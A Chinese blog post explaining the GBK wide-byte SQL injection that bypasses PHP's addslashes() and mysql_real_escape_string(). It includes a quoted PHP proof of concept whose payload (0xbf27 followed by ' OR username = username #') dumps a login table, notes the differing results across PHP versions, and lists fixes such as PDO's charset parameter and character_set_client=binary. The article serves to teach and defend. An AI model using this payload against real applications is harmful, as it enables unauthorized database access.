GBK字符集下addslashes、mysql_real_escape_string函数的注入漏洞及解决办法

Share on:

该漏洞最早2006年被国外用来讨论数据库字符集设为GBK时,0xbf27本身不是一个有效的GBK字符,但经过 addslashes() 转换后变为0xbf5c27,前面的0xbf5c是个有效的GBK字符,所以0xbf5c27会被当作一个字符0xbf5c和一个单引号来处理,结果漏洞就触发了。

mysql_real_escape_string() 也存在相同的问题,只不过相比 addslashes() 它考虑到了用什么字符集来处理,因此可以用相应的字符集来处理字符。在MySQL 中有两种改变默认字符集的方法。

方法一:
改变mysql配置文件my.cnf
[client]
default-character-set=GBK
方法二:
在建立连接时使用
SET CHARACTER SET 'GBK'
例:mysql_query("SET CHARACTER SET 'gbk'", $c);

问题是方法二在改变字符集时mysql_real_escape_string() 并不知道而使用默认字符集处理从而造成和 addslashes() 一样的漏洞


<?php

$c = mysql_connect(“localhost”, “user”, “pass”); mysql_select_db(“database”, $c);

// change our character set mysql_query(“SET CHARACTER SET ‘gbk’”, $c);

// create demo table mysql_query(“CREATE TABLE users ( username VARCHAR(32) PRIMARY KEY, password VARCHAR(32) ) CHARACTER SET ‘GBK’“, $c); mysql_query(“INSERT INTO users VALUES(‘foo’,‘bar’), (‘baz’,‘test’)”, $c);

// now the exploit code $_POST[‘username’] = chr(0xbf) . chr(0x27) . ‘ OR username = username #’; $_POST[‘password’] = ‘anything’;

// Proper escaping, we should be safe, right? $user = mysql_real_escape_string($_POST[‘username’], $c); $passwd = mysql_real_escape_string($_POST[‘password’], $c);

$sql = “SELECT * FROM users WHERE username = ‘{$user}’ AND password = ‘{$passwd}’“; $res = mysql_query($sql, $c); echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records

?> ```

环境PHP5.2
SQL:SELECT * FROM users WHERE username = ‘縗’ OR username = username #’ AND password = ‘anything’   查询结果为2

环境PHP5.3 5.4
SQL:SELECT * FROM users WHERE username = ‘\縗’ OR username = username #’ AND password = ‘anything’   查询结果为0

PHP5.2 很明显被sql注入,但是5.3 5.4版本貌似不会,难道为修复了?
来自http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html

帮助了解Mysql字符集

http://www.laruence.com/2008/01/05/12.html
http://www.laruence.com/2010/04/12/1396.html

 

解决办法

1.php5.3.6中,连接dsn增加了一个参数charset用以设置字符集
$dsn = ‘mysql:dbname=test;host=localhost;port=3306;charset=gbk’;
php手册中对pdo设置字符集的描述http://www.php.net/manual/zh/ref.pdo-mysql.connection.php
2.使用query(‘set names gbk,character_set_client=binary’);
character_set_client=binary以2进制的方式发送字符给mysql,彻底杜绝宽字符攻击

35互联高级程序员的安全讲座ppt可以帮助各位理解http://vdisk.weibo.com/s/yThjZrrykVNUx,在这里感谢车爷的指导~